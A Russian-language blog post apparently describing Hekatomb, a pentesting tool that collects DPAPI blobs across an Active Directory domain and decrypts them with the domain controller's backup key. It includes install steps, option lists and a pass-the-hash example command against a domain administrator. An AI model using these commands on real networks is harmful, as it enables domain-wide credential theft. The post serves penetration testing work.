Hekatomb — сбор и расшифровка DPAPI-данных в Active Directory

spy-soft.net/dpapi-data-decryption-active-directory-hekatomb

9 октября 2024 г.

Hekatomb — это Python-скрипт, который подключается к LDAP-директории для получения информации обо всех компьютерах и пользователях домена. После этого он скачивает все DPAPI-блобы для всех пользователей со всех компьютеров. В завершение, через RPC он извлекает приватный ключ контроллера домена и использует его для расшифровки всех учетных данных.

Еще по теме: Постэксплуатация в Active Directory

Расшифровка DPAPI-блобов в домене Windows

На Windows учетные данные, сохраненные в менеджере учетных данных, шифруются с использованием Microsoft Data Protection API (DPAPI) и хранятся в виде файлов «blob» в папке AppData пользователя. Вне доменной среды для шифрования этих блобов используется хеш пароля пользователя. Однако, если компьютер находится в среде Active Directory, DPAPI использует публичный ключ контроллера домена для шифрования этих данных.

С извлеченным приватным ключом контроллера домена становится возможным расшифровать все блобы и, таким образом, восстановить все секреты, записанные в менеджере учетных данных Windows на всех рабочих станциях домена.

Hekatomb автоматизирует процесс поиска этих блобов, а затем их расшифровку для получения всех секретов пользователей домена.

Установка Hekatomb

Его добавили в с последний релиз Kali Linux. Ниже инструкция по установке на другие дистрибутивы Linux.

Для систем на базе Debian, через Pypi:

```
pip3 install hekatomb
```

Для пользователей BlackArch:

```
pacman -S hekatomb
```

Установка из GitHub:

```
1 git clone https://github.com/ProcessusT/HEKATOMB
2 cd HEKATOMB
3 poetry install
4 poetry run hekatomb
```

Использование Hekatomb

Hekatomb использует синтаксис, похожий на Impacket (см. Как использовать скрипты в Impacket).

Пример вызова скрипта:

```
1 hekatomb [-h] [-hashes LMHASH:NTHASH] [-pvk PVK] [-dns DNS] [-dnstcp] [-port [port]] [-just-user JUST_USER] [-just-computer JUST_COMPUTER] [-md5] [-debug] [-debugmax] target
```

Основные параметры запуска:

```
1 -h, --help — вывод справки
2 -hashes LMHASH — NTLM-хеши в формате LMHASH
3 -pvk PVK — файл резервного ключа домена
4 -dns DNS — IP-адрес DNS-сервера для разрешения имен хостов
5 -port [port] — порт для подключения к SMB-серверу
6 -smb2 — принудительное использование протокола SMBv2
7 -just-user [USERNAME] — тест только для указанного пользователя
8 -just-computer [COMPUTER] — тест только для указанного компьютера
9 -md5 — выводить MD5-хеши вместо паролей в чистом виде
```

Настройки вывода и отладки:

```
1 -csv — сохранить результаты в формате CSV
2 -debug — включить режим отладки
3 -debugmax — максимальная детализация отладки
```

Пример использования Hekatomb:

```
1 hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug
```

> Если вы не укажете файл с резервными ключами домена, скрипт автоматически попытается получить их через RPC.

Hekatomb упрощает процесс сбора и расшифровки данных DPAPI, что позволяет получить доступ ко всем учетным данным пользователей домена через менеджер учетных данных Windows.

ПОЛЕЗНЫЕ ССЫЛКИ:

- Взлом сети через групповые политики Active Directory
- Как повысить привилегии при пентесте Active Directory
- GOAD — лаборатория для практики взлома Active Directory